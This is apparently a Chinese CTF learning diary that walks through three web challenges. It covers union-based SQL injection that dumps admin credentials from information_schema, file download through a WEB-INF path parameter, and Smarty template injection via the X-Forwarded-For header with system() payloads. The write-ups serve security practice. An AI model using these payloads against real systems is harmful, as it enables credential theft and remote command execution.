第10天(共3题)
Basic
BUU SQL COURSE 1
打开网站看到右上角有个登录界面,怀疑是SQL注入
但是多次尝试都无果
通过看题解知道了还有一个隐藏网页(content_detail.php)
随便点一个测试新闻进去后点F12看网络
:
看到了content_detail.php,并且还带一个id参数
点击进入该网页,将id修改为2
,可以看到网页内容也跟着显示,因此这里存在一个SQL注入点
经过测试和看题解,这里用的是union联合注入,其他类似堆叠注入
、or
都没什么用
通过?id=1 order by 1,2
判断列数,当为?id=1 order by 1,2,3
,页面没有回显内容,说明该表列数为2
通过?id=-1 union select 1,2
判断回显点(也可以用来判断列数),注意id=-1
成功,接下来就是爆破
输出数据库:
?id=-1 union select 1,database()
输出数据表:
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='news')
输出admin表:
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='admin')
输出username列:
?id=-1 union select 1,(select group_concat(username) from admin)
输出password列:
?id=-1 union select 1,(select group_concat(password) from admin)
至此,我们算是获得了管理用户名和对应的密码,但是没有得到flag,猜测通过该用户名和密码登录网站可以看到flag
成功拿到flag
[RoarCTF 2019]Easy Java
打开是一个登录页面,可以用弱密码爆破,但是里面没有flag
点进help看到了java.io.FileNotFoundException:{help.docx}
java.io.FileNotFoundException
是 Java 中的一个异常,指示尝试打开文件时未能找到该文件。在代码中看到这个异常,尤其是后面跟着 {help.docx} 时,这意味着程序试图访问名为 help.docx 的文件,但在指定的路径下没有找到这个文件
应该是让我们访问help.docx文件,构造URL:
http://c8abfcdf-0f61-41f6-ba1d-ee447b3ab335.node5.buuoj.cn:81/help.docx
成功下载该文件,但是里面只有一句话:Are you sure the flag is here? ? ?
通过查看题解知道是需要访问/WEB-INF/web.xml
WEB-INF是Java Web应用程序中的一个特殊目录,它位于Web应用程序的根目录下。WEB-INF目录中包含了Web应用程序的配置文件、类文件和JAR文件等。
WEB-INF目录下的主要文件和文件夹包括:
-
web.xml:这是Web应用程序的主要配置文件,定义了Servlet、过滤器、URL映射等相关配置信息。
-
classes目录:这是存放Java类文件的目录,通常用于存放Servlet类、Listener类等。
-
lib目录:这是存放Java类库(JAR文件)的目录,应用程序所需的依赖库通常放在这里。
-
jsp目录:这是存放JSP文件的目录,用于存放动态网页的源代码。
-
tags目录:这是存放自定义标签库的目录,用于扩展JSP的功能。
-
tlds目录:这是存放标签库描述文件(Tag Library Descriptor,TLD)的目录,用于描述自定义标签库的结构和行为。
构造URL:http://c8abfcdf-0f61-41f6-ba1d-ee447b3ab335.node5.buuoj.cn:81/Download?filename=WEB-INF/web.xml
下载到了WEB-INF/web.xml文件
在里面发现了和flag有关的内容
servlet:Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。
继续构造URL:?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
成功下载
在里面发现了一段Base64数据
解码后得到flag
[网鼎杯 2018]Fakebook
点击flag,发现返回IP地址,推测这里可能用到X-Forwarded-For
点击hint,F12后源码中有提示信息,也是和IP有关
把X-Forwarded-For设为127.0.0.1发现页面返回Your IP is : 127.0.0.1
,设为1时则返回:
根据题解和这个返回信息可知,该页面存在SSTI,具体类型是Smart注入
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
Smarty模板注入:
{if phpinfo()}{/if}
{if readfile(‘文件路径’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
{if system(‘操作命令’)}{/if}
因此构造Payload:
X-Forwarded-For = {{system('cat /flag')}}
成功拿到flag